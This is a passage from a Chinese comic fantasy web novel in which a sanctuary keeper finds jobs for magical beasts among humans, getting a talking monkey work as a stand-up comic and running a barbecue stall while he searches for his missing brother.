这个行业,还真的没有兽干过。而且这也不会动用什么异能,也不用担心违反规定。要真的行得通,那他们的业绩…… 邪恶大黄面包只是不爱动脑子,但不代表他没有脑子。 曾经他哥不在家的时候,他也是会伪装成普通咪咪,溜进大学上课(划掉)蹭吃蹭喝的兽兽。 高低那也是大学文凭,可聪明着呢。 “行不行的,试一试不就知道了吗?” “大嘴儿,来给经理展示一段。” 大嘴儿羞涩挠头,“你说这,事发突然的,我也没准备什么。” 它不懂什么是脱口秀,但是院长说了,只要大嘴一直叭叭就对了。 但它等的有点久,有点兴奋。 说着说着,大嘴猴手掌落地把自己撑起来,“给大家旋一个吧。” 双手交替,旋转跳跃。上上下下,左左右右,千奇百怪陀螺飞舞。 重点是边旋,那嘴儿也是一点不带停的。不仅不停,它还吐词清晰,字正腔圆,一点都不带喘。 “我这也不是什么厉害的招式,但是吧……” “曾经,我靠这一招夺下香蕉……” 托马斯全旋。 我失去了……但是……” 天女散花。 “其实也没什么的……我这技术……” “但是她们都不懂我,显而易见,我是一个很有趣的兽。” 拧成麻花。 围观群众:好牛叉! 舒泽凑到经理耳边,恶魔低语,“看见了吗,这可不仅仅是脱口秀。” “这是将杂技和脱口秀相结合的新型表演模式。” “而且。”舒泽抿嘴,发出最后一击,“它可以从早讲到晚。” 我嘞个天选打工兽,996圣体。 经理,彻底动摇。 异兽族的历史,也从此刻改写。 * “特殊场?” “这是什么东西?” 下班时间到了,来剧院买票的人增多,大家都注意到了巨幅宣传牌,“神秘嘉宾加盟,敬请期待?” “听起来很有意思啊。” 前台露出职业微笑,“这是咱们剧院做的活动,只要是在咱们这里累计消费过十次的客人,就可以用五星币加购一次特殊场。” “这价格不贵啊。” “整得还挺神秘的,我要一张。” “我也要!” “我也买一张,看看有多神秘……” 因为噱头拉满和便宜的票价,没多久特殊场的位置就售罄。 大家纷纷朝着舞台聚集。 经理毕竟是第一次尝试雇异兽上场,虽然舒泽有易威登担保,但他还是有些不放心。神经有点绷,“你这只猴儿训好了的吧?抑制器调得高不高,需不需要再上调一下?” 当今社会虽然不把异兽当回事看,但格外注重人的权益保障。这种兽,是私人财产。他们再想管,也只能让舒泽这个主人去管。 舒泽注视着幕布后兴奋等待出场的大嘴,开口道:“孙经理,我想改一改我们的合同。” 经理一下子就警惕了,皮笑肉不笑,“祁先生,分成可都谈好了。白纸黑字的,坐地起价就不太好了吧?” 就算他有易威登这个靠山,也不能那么乱来。 “不是。” 后台的小猴子已经忍不住扒着帘子看外面,看见那么多观众后兴奋得直搓手。 它是真的喜欢表达。 真心喜欢这个环境。 “我是想,让员工直接和你签合同。就不必过我这个中间人了。” 经理一头雾水。 什么员工直接签合同,什么中间人。 不就是眼前这个人和他们剧院合作吗? 顺着舒啧的视线扫过去,他终于明白对方口中那个员工指的是谁了。 “不是。”他难掩惊讶,“你让我和一只猴签合同?” 这不是笑话吗? 虽然他们同意让这个猴儿站上舞台,但那也是因为它的主人合法合规。 一只兽,都不是独立个体,还能像人一样签合同了?这话传出去,他们剧院成啥啦?动物园收留所啊? 舒泽:“最开始定的四六分,可以改成三七分。” “……话又说回来,就是一个形式,和谁签不是签呢?” 舒泽还有最后一个要求,很认真很认真的说,“它有名字的,叫大嘴。” 不要老是一只猴一只猴的叫。 没有礼貌的人类。 第28章 正式开启打工之旅 一只猴还非要取个名字……经理本来还在心里暗暗吐槽。漫不经心的对上舒泽的视线,背脊一凉,如坠冰窖。 这……这眼神也忒吓人了吧!要吃人似的! 等他再看去,舒泽又恢复那副纯然无害的样子。 他怀疑是自己的错觉,吞了吞口水,艰难的扯出一个笑,“记住了记住了,这名字取得挺不错哈,很有特色,哈哈。” 舒泽也配合的笑了,“是吧,我也觉得。” 说话间,时间已到。帘幕拉开的瞬间,底下观众一阵骚动。 “一只……猴子?” “不!它脖子上带有抑制器,这是异兽!” 异兽的身份引起了部分骚动,但大嘴儿的原型看起来杀伤力也不强,又带着抑制器。 新鲜和好奇瞬间压过害怕。 “特殊场的意思就是这样?” “你还别说,我还真没见过这样的呢。” 大家都伸长了脖子往台上瞅。 大嘴听不见下面的议论纷纷,但能看见大家动作里的期待。它站在舞台聚光灯下,整个兽轻微打颤。 经理一下子就急了,“这种时候,它不会怯场了吧?” 要是突然再一个爆起伤了观众,他的职业生涯算是完蛋了。 舒泽气定神闲的摇头,“不,你不懂。” 下一秒,大嘴儿扶正了自己嘴边的麦克风,“艾玛呀,还是第一次有那么多观众听我唠嗑。” 十分兴奋中参杂着二十分激动,感情不是吓的,是迫不及待。 经理:“……” 好别致的兽。 还是东北腔。 它一开口,下头的议论声全都停了。又过了几秒后,全都兴奋的欢呼起来,气氛好不热闹。 大嘴儿还是第一次,不仅没被人嫌弃,还得到了全场欢呼。当即就兴奋的表演了一个道倒立,场下又是一片喝彩。 “好!” “好!!!” 那热闹场面,给经理都看哭了。 稳了,这下是真的稳了。他要发财了! 大嘴儿很满意,经理很满意,舒泽深藏功与名,悄悄离去。 他掏出从李二牛那边薅的印章,自言自语,“还挺好用的。” 既是如此,那更是得抓紧时间吼~ * “好了,你把东西放在这里就可以了。” 剧院侧门,后勤接过仓库的单子,二人智能手环一碰,物资成功交付。 小机器人排着队从里面开出来,依次抬起地上的箱子离去。 “交付完成,没什么问题吧。”声音好听得有点过分了。 工作人员抬眼看去,只看见一张普通到没有任何记忆点的脸,有些失望。 这样的声音,居然不是个温柔大帅哥…… 傅宴川坦然面对打量,他的伪装还不至于差到被一个普通人发觉。 “东西都对得上,没问题。” 傅宴川点点头,“那我就先走了。” 他这段时间一直都留在仓库那边休息,现在身体也恢复得差不多了。 正好接了这趟运输任务出来,等下就直接走了。这段时间对它的搜捕已经向外扩延,反倒是事发地留守的人马变少。 虽然还是有一定的风险,但是他必须回去。因为那里,是他得到的,唯一和他弟弟有关的消息。 “wow!!!” “说得好!!!” 剧院内,观众的呼声似要把屋顶掀翻。站在侧门都被吓了一跳。 工作人员随口嘟囔了一句,“真行,找只猴儿来表演。” 正预离去的傅宴川脚下一顿,转过头,“请问,你刚刚说的,找只猴来表演是……” “害,今天有个人带了只猴子来说要应聘脱口秀演员。你说这事情荒谬不荒谬,但偏偏这些观众还挺吃这一招的……” 傅宴川微不可查的皱起眉头,周身气场有些压抑。 这些人类,对兽的玩弄方式又增添了吗?他无法想象,一只厌恶人类的兽站在舞台上,被迫向讨厌的人类表演,是多么的绝望和难过。 “嘿~~!那边的朋友!让我看见你们的手好吗!!!” 大嘴儿仰天就是一个高音,它绕场一周,气氛高涨。 “你们快乐吗!” 观众:“我很快乐!!!” “下次还想来看表演吗!!” 观众:“想!!” 应援欢呼,跟军训似的,比追星的还喊得整齐。 在经理浑身散发着捡到宝的快乐时,舒泽看似矜持淡定实则装逼,“还好了,我们家大嘴一向比较多才多艺。” “下次还能附赠两首歌。” 又是一阵热浪欢呼传来。 傅宴川抿紧了唇。 “你想进去看看么?我可以带你从后面进去,在后台看。”工作人员见傅宴川停在那里不说话,还以为他是好奇,主动邀约。 傅宴川顶着一张平平无奇的脸,露出老实憨厚的笑,“谢谢兄弟,不过我还要回去上班,算了。” 打工人都懂打工人的心酸,工作人员挥挥手告别。 傅宴川转身离去,人来人往谁也没注意到,一个穿着工装的男人进了厕所后再也没有出来。 压低帽沿,双手插兜,换了一张脸的傅宴川淡定朝着目的地前进。 书泽带着一战成名的大嘴儿回家,经理热情相送。 “观众实在是太热情了,只能委屈大嘴兄弟走后门了。” 刚刚还满脸看不起呢,现在就喊上兄弟了。在钱面前,果然一切都是浮云。 叭叭叭叭讲了好几个小时的大嘴儿已经没了世俗的欲望,走路都打着飘。它是真没想到,这些人类居然那么爱听他讲话。 一下子感觉,那些人也没那么可恶了。 本来就大的嘴儿咧到了脑后跟,但是一点都不吓人。 憨憨的,很可爱。 “二位家住哪儿啊,我派车送你们回去。” 没什么心眼子的大嘴儿张口就答,“保……” 舒泽“啪”的一巴掌捂住猴嘴,“保密。” 开什么玩笑,让他们知道是保育院的幼崽,还怎么上班。 经理没曾想这还是秘密了,但是舒泽都这样说了,他也不能和自己财神爷对着干。 “是是是,那您看,我每月末统一报销打车费?” 舒泽矜持点头。 站立在刚刚傅宴川停留过的位置上,舒泽耸动了一下鼻尖……这个味道。 经理还在滔滔不绝,“嘴儿啊,你平时喜欢吃芭蕉还是香蕉呢?等你下次过来,我给你拉一卡车……” 舒泽一把薅住经理,面色沉凝,带着急迫,“刚刚谁来过这里?” 还在状况之外的经理:“啊?” …… “院长……”大嘴猴揪着衣角,怯生生喊了一声。 “我们这是去哪里呀,不回家吗?”它有点怕,但是又不敢多说。 刚刚出来的时候,院长很急迫的追问刚刚谁在这里,然后那个人调出监控,问了几句话后,就迫不及待的朝着那个地方赶去。 状态紧绷,魂不守舍的。 舒泽这才意识到,自己的状态过于紧绷,吓着兽了。 他稍稍放松了些,摸了摸猴头,“抱歉,吓着你了。” “院长先去找一个人,找到了之后带他一起回家。” 虽然那个人长得和傅宴川完全不一样,但舒泽还是一眼认出来了哥哥。 当他开口说话之后,更是百分百的确认。 这个声音,就是他哥。 但是舒泽没有想到的是,他哥居然沦落到当仓管! 没了法力居然过得那么惨吗? 舒泽来不及细究,现在最重要的是,把他哥人找到。 “他是院长的家人,是个对兽很好的人。有他在,我们整个保育院都可以摆烂了。”舒泽一不小心把心里话说出来了。 “咳咳。” 他心虚目移,这么一说。这生活的重担,可不比打工艰辛。 但好在他的倾听对象是一只略显懵懂的猴。 经过今天,大嘴猴对人这个生物也没那么抗拒了。而且看院长的反应,那个人应该是对院长很重要的人。 所以,它完全不会排斥。) “好呀好呀,那我们可以一起生活~” 话是这么说,但舒泽却没有找到人。 “嘿,奇了怪了,按时间来说,他应该回来了啊,打电话也不接。” 舒泽跳动的心脏逐渐平复。 他往四周扫射了一圈,最后落在疑似他哥工友的身上,“请问,我可以问你一个问题吗?” 工友见舒泽年纪不大,也挺会来事,伸手就递了一串香蕉。还算配合的点点头,“要问啥,你说吧。” “你一个月多少工资啊?” 噗嗤—— 是膝盖中箭的声音。 工友脸都绿了。 这简直是哪壶不提哪壶。 这地方本就偏,设备又老旧,接不到啥活儿。剧院那活儿都是因为离得近,求爷爷告奶奶好不容易接的。 就这,也不过是承接一小部分,没啥钱。 工资?那三瓜俩枣的,他都不好意思提!要不是这里买社保,还包吃住。活儿清闲能干第二份工,他早跑了! 虽然对方没说话,但舒泽已经从对方发绿的脸读出答案了。 “那请问,他来这里工作了几天?” 不知道傅宴川在这里叫啥名,舒泽只能指了指截图。 工友已经满肚子暗火了,“没几天,当时说得好的,是长期工,转头就找不见人了。” 看着老实憨厚,干活也不偷懒一人,怎么也是来蹭吃蹭喝的? 工友还在暗地吐槽,智慧的光芒已经笼罩舒泽。 说得通了。 一切都找到答案了。 舒泽眼中闪过睿智的光芒。 他哥。 因为没钱,跑路不干了。 舒泽自信转身,这里不到他哥了。 但没走两步又变得蔫头耷脑,所以,好不容易发现的踪迹没了。他现在又上哪去找他哥呀? …… “怎么还没回来?”熊铁锤一手举着铁勺,另一只手在围裙上擦了擦水。 小灰站在最前面, 伸长了脖子眺望。扫帚似的大尾巴,急切的甩来甩去。 皮皮站在他俩中间,显得格外淡定,“这么着急干什么?人还能不回来了?” 熊铁锤瘪了瘪嘴,无情拆穿,“可是皮皮,你是最先出来的耶。” 皮皮:“…… 我只是有点闲,出来吹吹风。” 皮秘书是绝对不会承认那么没有逼格的事情的,“他有什么好担心的?” 这么一朵争奇斗艳的奇葩,遇见他的人才应该担心。应该是在路上发生了什么事情,耽误了。 “可是。”铁锤面色凝重,抛出了一个十分致命的问题,“现在,到饭点了。” 没有什么事情可以阻挡,舒泽干饭。 皮皮:“……” 完全没有办法反驳。 小灰揪心的抱住自己的大尾巴,一下一下的撸,自产自销安抚素,“应该快回来了吧……” 嘴硬的爹,担忧的妈,盼望的弟弟,还有未归家的他。 虽然已经到了饭点,熊铁锤也把食物分发下去了,但院里的兽兽们也默默聚集在一起,静静的等待。 落日晚风 红色的晚霞铺满天际 舒泽牵着大嘴猴回来了。 最先发现的,是负责盯梢的白鹤。仰天长鸣,院里,安静趴着的兽兽们一下子都站了起来。 在外面等的三小只,占据优势起跑线,一下子就冲了出去。 大嘴猴兴奋的张开手臂,想要把热情的伙伴们拥入怀中。 谁知熊铁锤和小灰换了方向,灵活的越过防守区,抱住了舒泽的大腿,呲溜呲溜的就往上攀爬。 身体已经无比沉重的懒鬼,被迫当起了竿子。丧丧的和俩崽对视上,“我说……” 小灰确认舒泽全须全尾,尾巴快要甩成螺旋桨了,“园长你回来啦!” 熊铁锤虽然肉多,但是灵活度一点不输给小灰,像个捏扁的饭团贴在腿上,“饭煮好了!” 虽然舒泽原来也出去过几次,但那总归是不一样的。这次可是,潜入人类社会的高级作战计划。带着一只别有用心的兽兽在人类世界中穿梭,危机四伏的。 他们都很担心舒泽。 舒泽本来要说的话都咽了回去,“嗯,回来了。” 那边其乐融融,皮皮也松了紧绷的弦,毕竟这个计划是他提议的,要真出了什么事情,他真的没有办法原谅自己。 他收回目光,对上了眼巴巴望着他的大嘴猴。它还保持着大鹏展翅的造型呢。 大嘴猴眨巴眨巴眼,“oi?” 那边都抱得那么激情了,我们这边真的不来两下吗? 高贵冷艳皮秘书冷漠后退。 丑拒哈。 大嘴猴一下子就碎了。 “你怎么可以这样子对我?” “我为组织流过血,我为组织做出过牺牲!” “你就是用那么冷漠的态度对待战友的吗?!” 皮皮抽出手册,“加三分。” “好嘞!”回到自己熟悉的环境,大嘴猴撒丫子狂奔,长手短脚,兴奋得像打劫了一车香蕉。 “小金!我回来啦哈哈哈哈!!!” “金!我火了!火了!!” “我要承包你这辈子的香蕉!” 皮皮陷入沉思,这个可怕的社会,到底对一只猴子做了什么可怕的事情。 没有什么是比吃饭还重要,舒泽一回来直奔饭堂,其他的兽兽也是欢欢喜喜的开始干饭。 今日新奇的体验,根本就让大嘴猴感受不到饿意,穿梭在兽群间,分享着今日的见闻。 大家平日不爱听它叭叭,但今天这个却是没兽知道的新奇体验,个个都配合着侧耳倾听。 把大嘴猴爽得不行。 他又快乐了。 一直开着尾巴的火,帮舒泽暖着饭的喷火龙别别扭扭的撤开,“我可不是想帮你。” “就是怕你等下再喊我,耽误我吃饭。” 舒泽若有所思的看着他尾巴的火。 傲娇龙龙走开了,皮皮也从大嘴猴的吹嘘中提取到了重点。虽然他不理解脱口秀是干什么的,但是他能感受到大嘴猴对这份工作的满意度。 打工计划第一步,迈出去了。 他温柔的往舒泽碗里添菜,“今天累着了吧?” “多吃点补补。” “吃完了好好睡一觉,明天下午起来就可以把早午晚饭一起吃了,到时候晚上再安排两顿夜宵。” 本来还在专心干饭的熊铁锤蒙逼抬眼,嘴角还挂着呆滞的白米饭。 正在喝汤的小灰也把自己呛着了,毛茸茸的尾巴疯狂拍打自己的背。 哪里来的妖孽,竟然敢魂穿皮皮!完全演反了! 皮皮怎么可能温声细语的和院长说话! 舒泽对饭菜来者不拒,呼噜噜的吃抹干净,砸吧砸吧嘴,斩钉截铁的说,“我不。” “明天还要送大嘴去上班。” 安静,在蔓延。 皮皮和熊铁锤对望一眼,铁锤举着铁勺弹开,“呔!哪里来的妖孽,居然敢假装我们院长!” 他们院长! 那个能躺着绝不坐着,能吃三锅饭坚决不吃三锅少一勺的院长!居然拒绝了休息和宵夜! 不可能,这绝对不可能! 没有什么事情是绝对不可能的。 舒泽,一款隐藏兄控。在今天,发现了哥哥的踪迹,并且发现,他哥,很缺钱。 这对一个兄控来说,是一种伤害。 高高在上的宴川帝君,山海境的主人,天下异兽的统领。怎么可以过那么穷酸的日子! 舒泽把碗筷一推,在崽崽们难以置信的目光中,再次登上了集结的高台。 “大家,听我说。” “人类世界入侵计划,已经取得了初步成效。” “大嘴今天,发现了最适合隐藏自己的方式。并且,在这个过程中摘取了劳动成果。” 舒泽往上面一站,像个传销头子。不仅没了平时蔫巴的丧丧模样,甚至调出了几分激情澎湃。 这时候就有兽兽好奇了,“什么劳动果实呀?” 舒泽淡然抬手,点了一下,“大嘴,你自己和大家说。” 大嘴轻轻嗓子,“也不是什么大不了的事情吧。” “就是今天一天,赚了我大半年的香蕉钱。” 虽然刚刚大嘴已经激情澎湃的讲了很多,但故事的进展还停留在,他在台上魅力四射,迷倒台下一片人类的时候。 这一重点出来,所有兽都惊了。 “哇~~” “半年的香蕉,那得是多少呀!”金丝猴小小一团,算着算着口水都要下来了。 本来对潜伏计划还十分害怕的兽兽们,一下子就心动了。 猴子出门潜伏一天可以换来半年的香蕉,那它们出门潜伏一天,岂不是可以换来大半年的肉肉?! 可怜的兽兽们,此时还不知道物价为何物。 一个二个躁动不安。 “院长,明天我也可以出去潜伏吗?” “还有我!还有我!我也想去!” 舒泽抬手压下喧嚣,“现在好处我已经和大家讲清楚了。” “接下来我就要讲一下坏处。”他严肃的说道。 “前期我会护送大家,进入一个相对安全和平稳的环境。” “但后面兽兽多了,我没有办法随时随刻陪在你们的身边,出去的兽兽们要独自潜伏在自己的岗位上。” “所以必须是勇士中的勇士,是胆量和自保能力相兼顾的兽兽,才可以到我这里来报名。” 此话一出,兽兽上头的热血冷静了许多。有不少弱小的兽兽放弃了出门潜伏的想法。 但总有横的。 喷火龙大摇大摆的站了出来,“我去!” 它不屑的从鼻孔里喷出一团雾气,“就凭我的实力,外面那些弱小的人类,还想伤我?” 河马也上前一步走,慢吞吞的说道:“我也去。” 每天辛苦劳作,出产的物资,刚刚够它填饱肚子,现在又不能像以前那样直接去抢多少。 它必须尝试一下这个潜伏计划。 舒泽在二兽之间打个转,眼睛亮得吓人 ,“好,明天就是你们了!” 皮皮看着热血澎湃的舒泽,再次感觉摸不着头脑。 今天到底发生了什么人,为什么会在那么短的时间内发生翻天覆地的改变? 曾经的舒泽,懒懒散散,对什么都提不起兴趣。不管是兽兽们,还是当这个院长。 虽然他曾经对皮皮表明,想照顾好大家,但皮皮能感觉到。他是将这件事当成了一份不得不执行的责任,但其实他本人并没有那么强的意愿。 还有这次的打工(划掉)潜伏计划,也是他威逼利诱,各种手段齐上阵,才让舒泽答应下来的。 但现在,明显是他本人有很强的意愿…… 舒泽望着底下的兽兽们,就像是看着一个巨大的人才市场。 新的号角已经吹响,在找到哥哥之前,他要悄悄存钱,惊艳所有人。 而被他放在心尖尖上惦记的傅宴川,此刻正潜伏入山在努力寻找舒泽的痕迹。 很久以后,当傅宴川再次和舒泽提起那日的事情,无比悔恨的发现,如果当初,他可以不那么勤奋和努力。 那么他就可以抱得咪咪归了。 第二天。 两只缩小版的,但依旧很惹人注目的兽出现在了菜市场。 虽然带着抑制器,但还是把不少人给吓了一大跳。 喷火龙本来就是个爱装的兽兽,看见自己把那些人类吓得面色苍白,止不住的得意。也别管什么潜伏不潜伏了,你就看他多有威慑力就完了。 河马就没那么多想法了,缩在水桶里,只露出两只眼睛在外面。 它没想到,院长居然那么厉害,可以让它缩小,不然今天它还真的出不来。 熊铁锤窝在舒泽的怀里,怕得耳朵直抖,“院、院长,我们来这里干什么呀?” 虽然人流现在都绕着他们走,但是舒泽一点都不慌张。心情极好的回答小胖墩的话,“当然是为了我们的潜伏计划了。” 熊铁锤不理解,但大为震撼,“潜、潜伏?” 这不是所有人都看见他们了吗! 舒泽的忽悠就没有听过,“最危险的地方就是最安全的地方嘛。” “乖,不怕哈。”舒泽几近溺爱的抚摸熊铁锤的头,并忍受身上多了沉重一坨的事实,“等下还要靠你。” 熊铁锤:“……oi?” “来啦来啦。”卖菜的老爷子带着自家虫虫紧赶慢赶,总算是带着舒泽要的东西赶来了。 老爷子虽然自己也养兽,把虫虫当自己的家人一样对待。但看见舒泽这唬人的阵仗,差点一口气没提上来,“你带那么兽啊?” “还都是一些吓人的大兽。” 而且带着兽们是为了做那件事情,也实在是有点抽象。 舒泽没说话,这还多呢,他还有一个保育院的呢。 他拍了一下小胖墩的屁股,“铁锤,去帮忙摆东西。” 本来还很害怕的熊铁锤,看见露在外面的小铁勺,突然就感受到了命运的指引,走过去一把捏住了铁勺。 拉开袋子,东西露出全貌。 喷火龙凑上来一看,迷惑的眯起眼睛,“这东西看着怎么那么眼熟呢?” 好像铁锤在家里烤东西用的架子呀。 舒泽迷之微笑,“那么,起火吧。” 喷火龙:“??????” 真是烧烤架?! 他逼格拉满的潜伏计划呢! …… “诶,走过路过不要错过啊!” “异兽烧烤,全星际独此一份!” 老爷子吆喝声一起,奇怪的内容就吸引了不少看热闹的人。 等到好奇的人已经围了过来,喷火龙屈辱的用前爪捂住脸,尾巴固定在烧烤架下,愤怒的火焰熊熊燃烧。 而手握铁勺的熊铁锤,已经实现了人架合一,两只小胖手上下翻飞,滋啦滋啦声中,烧烤的香味已然激活。 烧烤还只是普通的烧烤,但是这个烤烧烤的组合,实在有些耀眼。 人群议论纷纷。 “我靠,也是活久见了。居然有一天看见有人用异兽来做烧烤。” “哇塞,那个烤烧烤的就是罕见的人形异兽嘛?好可爱呀!” “他的肚子看起来好有弹性,想摸摸!” “小小一只,还会烤烧烤,真的不能养一只吗!” 舒泽也是没想到,大家对烧烤师傅的议论度居然比对烧烤高。 围观的人不少,但真的是来买的却没有。 他拍了一下木桶,是时候请出杀手锏了。 河马慢悠悠的从水里撅出个屁股,在无人注意的角落,放了一个屁。 一股花草夹杂着水果的清香扑面而来,萦绕在烧烤架上。本来只是普通的烧烤,忽然增加了一股妙不可言的味道。 河马异能,气味覆盖。 会将头一天吃的东西,转换为自己的味道,以此释放在空中,躲避追踪,实现隐藏。 “什么味道?好香啊……” “好像是那个崽崽烤的烧烤!” “真的好香啊,我要去试试!” 奇异的芳香勾着众人口水直流,大家忍不住上前尝试。 当第一个吃螃蟹的人出现,一传十,十传百,所有人都将知道螃蟹的鲜美了。 老爷子竭力推销,“大家尝尝这个青菜啊,味道绝对好!” 那个臭小子说得没错,大家都来买烧烤后,他的菜卖得更快更多了! 舒泽掩藏在人群中,深藏功与名。但也有眼尖的人发现了他的存在,主动过来打招呼。 一个西装革履的男人拍了拍舒泽的肩膀,露出精明的笑容,“你好啊,认识一下。” 他昨天就听说,剧院来了一个人,带着盾混集团老总的私章,往里面送了一只猴儿去当脱口秀演员。 那时他就嗅到了其中的商机,但没想到在剧院蹲点没蹲到,反倒是路过菜市场,得此机缘。 “这些兽都是你的吧?” 他乐呵呵的递过去一只烟,舒泽摇摇头,“有事直说。” 男人也不恼,“我来呢,是想跟你谈谈合作。” “你和盾混集团的那位有点关系吧?” 这年头,兽不少见。但能拿到担保在外正常工作活动的兽,可就少见了。 要知道在这一块上,市场可是一片空白。要是能提前下手,把握这场风口,他后半辈子可就有着落了。 他故作忧疑的说道:“但是怎么……不见你把这些兽送到他们集团下的子公司去呢? 舒泽不咸不淡的回答,“也不是都适合。” 男子眼珠子一转,立马有了主意。 “哈哈,那不是赶巧了吗?我就是做人力资源的。”他主动递出去一张名片,“要找合适的,从我这下手可就轻便多了。” “你手上还有多少推荐信,要不我们合作?” 舒泽眸光闪动,故作犹疑,不再像刚刚那样爱搭不理,“你能把这些都介绍到合适的岗位去?” 男子见他意动,笑意都快藏不住了,“那当然。” “只要你手里有多少封推荐信,我就能给你安排多少份合适的岗位。” 他蛊惑的说道:“你我心里都清楚,这一块可是一片空白。只要把名声打出去,咱要的价可低不了。” “咱们白纸黑字的签订合同,到手的利润我三你七。” 已经被巨大利益彻底乱了心思的舒泽,狠狠一咬牙,“实话告诉你吧,这些推荐信不是我的。” “是我后头的老板托我出来安排的。” 男子心思一转,更加放心了。盾混集团老总的担保,那可不是随随便便什么人就能有的。 若说是眼前这个小年轻的,他还有些害怕。背后没点势力,可说不过去。 舒泽在他看不见的地方狡黠一笑,继续装作为难的样子,“这份合同我是真想要。” “但我也冒着风险,不能被老板知道。” “你给我的七分我都得往上面交,你再让一层利润给我,我搏一搏,如何?” 男子一盘算,这生意怎么都吃不了亏。 一咬牙,“行!成交!” 舒泽满意的笑了。 手头有多少推荐信?只要他想盖多少,那就有多少。 易威登又又又又连着打了好几个大喷嚏。到底是谁,在背后里暗算他?不会是那个不知道逃到哪里去的傅宴川吧? 有了专业人士的帮忙,舒泽连轴转了几天,把兽兽们安排到合适的岗位上去。闲下来后,终于有时间去自家摊位上蹭两串烧烤吃吃。 从山上无功而归的傅宴川低着头,提着一袋子菜穿过热闹的菜市场。 第29章 我不是这种兽,但我可以…… 最开始的路边摊已经在熊师傅、龙开火,马加料的努力劳作之下,变成了小门面。 外头排队等着吃烧烤的人从这儿排到了菜市场门口,小小年纪就一把工龄的熊师傅,一边在烟熏火燎中熟练的翻动烤串,一边还要维持秩序,奶声奶气,正气满满,“我们这里是卖烧烤的哦。” “不敢那些勾当,请客人不要对烧烤师傅动手动脚。” 小姐姐遗憾的收回手,对着那双毛茸茸的耳朵垂涎欲滴,她真的好想摸摸看啊! 软软的,qq的,带着热度微微颤抖,想想都要美死了! 但烧烤师傅是正经人,她们也只能想想了。买了烧烤也舍不得走,边吃边聊天。 “最近好多地方都增添了兽兽特殊场,我昨天打麻将还遇到一个八爪鱼呢,两条腿儿坐,六条腿儿洗牌,那整个桌子的牌哗哗的。但是怎么就没有撸崽服务啊啊啊。” “如果可以让我摸一下,让我把整个烧烤摊包圆都行!” 隔墙之后,坐在躺椅上,喝着茶的舒泽摸着下巴若有所思。自打他有了他哥的神力,耳聪目明的,外头的讨论他听得清清楚楚。 在各地打工的兽兽们,风评都挺不错的,他只需要在这里留守就好了。 现在的门面是他弄的,主要是为了方便他享受(划掉)集中管理。作为“中间商”和“总代理”上下游来找他,他总得有个地方办公。 而现在,他听见了一个非常美妙的主意。 突然,外头一阵哀嚎。 原来是熊师傅结束了今天上午的工作期,关门歇业了。 毕竟还是一只小豆丁,干狠了,舒泽怕他长不高。 小豆丁轱辘轱辘的溜进来,神采奕奕不见半点疲态,“院长,我觉得完全可以延长营业时间,我不累。” 当皮皮经过计算后告诉他,现在烤一天烧烤的钱可以抵过曾经一周的辛苦劳动后,铁锤就浑身充满了斗志。 他要赚钱,赚很多很多的钱。 舒泽搭上他脑袋,极为顺手的揪了把耳朵,“你不累,阿龙累。” 来的时候还是篝火呢,现在都成火柴了。河马肚子里储藏的气体也快消耗殆尽,现在正奋力的填饱肚子,补充弹药,为下午的工作做准备。 舒泽指使小崽跑腿,“乖,你去后面那个草丛里,把咪咪喊过来。” 熊师傅:“oi?” 咪咪? …… 苏尔帽子上还插着几根草,彻底疯狂,“你什么时候发现我在草丛里的?” 舒泽岁月静好的嘬了口茶。 苏尔眯起眼睛,狐疑问道:“你不会早就发现我了,但就是不说,故意让我蹲在里面折磨我吧?” 舒泽放下茶杯,悠然解释,“怎么会呢?” 苏尔勉强平稳下来。 那就好,起码他这么多天的伪装还是有效果的,起码不是在白做功夫。哼,他就说,以他的藏匿能力,怎么会轻易被人发现呢? “你跟着我第一天,我就知道了。” 苏尔:“……” “…………” “我&¥你@#¥,你是不是##¥@!!” 舒泽聆听了一段优美的旋律,并捂住了崽子的耳朵,“交代你一个任务。” 苏尔头顶冒烟,“你交代给我,我就干啊?” 舒泽稀奇,“不是易总让你跟着我的吗?” 在外头,舒泽还是决定给二牛留点面子。 苏尔眼睛瞪大,脱口而出,“你怎么知道的?”不是在他的强烈反抗之下,金主爸爸已经答应他改为暗中保护了吗? 为什么他还是知道? 苏尔脑子里浮现出听过的“流言蜚语”,拨云见日,一切清楚。 他看向舒泽的眼神都变味了。 好一个强取豪夺的白月光金丝雀,表面上是弱势方,实则诱敌深入,在二人的关系中是真正的上位者。 舒泽:“?” 他都看见两人在一起了,还有什么不理解的吗? 苏尔的眼神告诉舒泽,他在想一些奇怪的东西。 “哼,说吧,什么事情。”苏尔把其中厉害关系一捋,心中对舒泽的忌惮又高了几分,立马就老实了。 老板和他的关系,不清白!耳边风很可怕! 舒泽不知道他的小脑袋瓜脑补了什么,但现在忙正事,他也没空深究。 “你回保育院一趟……” 趟—— 带来了小灰和皮皮。 皮皮手上工作还没停,站在舒泽面前的时候,还迷茫的抓着笔。小灰反应快一点,管他三七二十一先往舒泽身上扑。 尾巴掸子竖得高高的,声音甜得可以拉丝儿,“院长~” 平常舒泽对这种事情那都是来者不拒,只管享受。但这次却一把捏住了小灰的嘴儿,有点紧张,“乖,保存体力留着等下用。” 小灰:“哦莫?” 皮皮眯起眼睛,直觉告诉他,现在,适合,跑路。 但,来不及了。 “咚——” 苏尔带着口罩,敲响锣鼓。等所有人都看过来之后,语气森寒,从牙缝中挤出台词,“走过路过不要错过,毛茸阿崽近距离聊天,只需要五百星币。” 蒙蔽的小灰和自闭的皮皮被推了出来,现场顿时响起女孩子的尖叫声。 会!动!的!毛!茸!茸!耳!朵! 谁!能!不!喜!欢! 两只龙爪咻——的一下把两只崽崽拽回去,独留苏尔在外面对狂浪和哀怨。 “怎么进去了啊!” “交钱!我要交钱!” 苏尔被挤得神情麻木,“请各位注意,活动是完全建立在我自愿基础上,不可以强行上手。” “现在还想参加的人,来我这里做登记和初步的筛选。” 苏尔真的麻了。 怎么会有人歹毒到这种地步? 要一个通缉犯出来当抛头露面的打工人!太歹毒了!太歹毒了! 懵懵的小灰有点没实干,拽着皮皮的袖子,好奇的圆眼睛溜溜转,“皮皮,我有点害怕。” 皮皮的心也是七上八下的,但是他冷着一张脸没有表现出来,“这不是你同意的吗?” 刚刚舒泽问他们愿不愿意和人类聊天,增强对她们的了解,以便制定针对性更高的入侵计划。 小灰云里雾里还没听明白,出于对舒泽的信任和对人类社会入侵计划的执念,飞快的点了头。 但点头是一回事,真面对那么多人又难免胆怯。毕竟在他们的认知中,人类是很可怕的生物,是会欺负压榨兽的。 皮皮握住小灰的手,坚定的说道:“不要怕,等下躲在我后面。” 小灰一愣,眼睛浮现一层薄雾,怔怔的,“皮皮……” 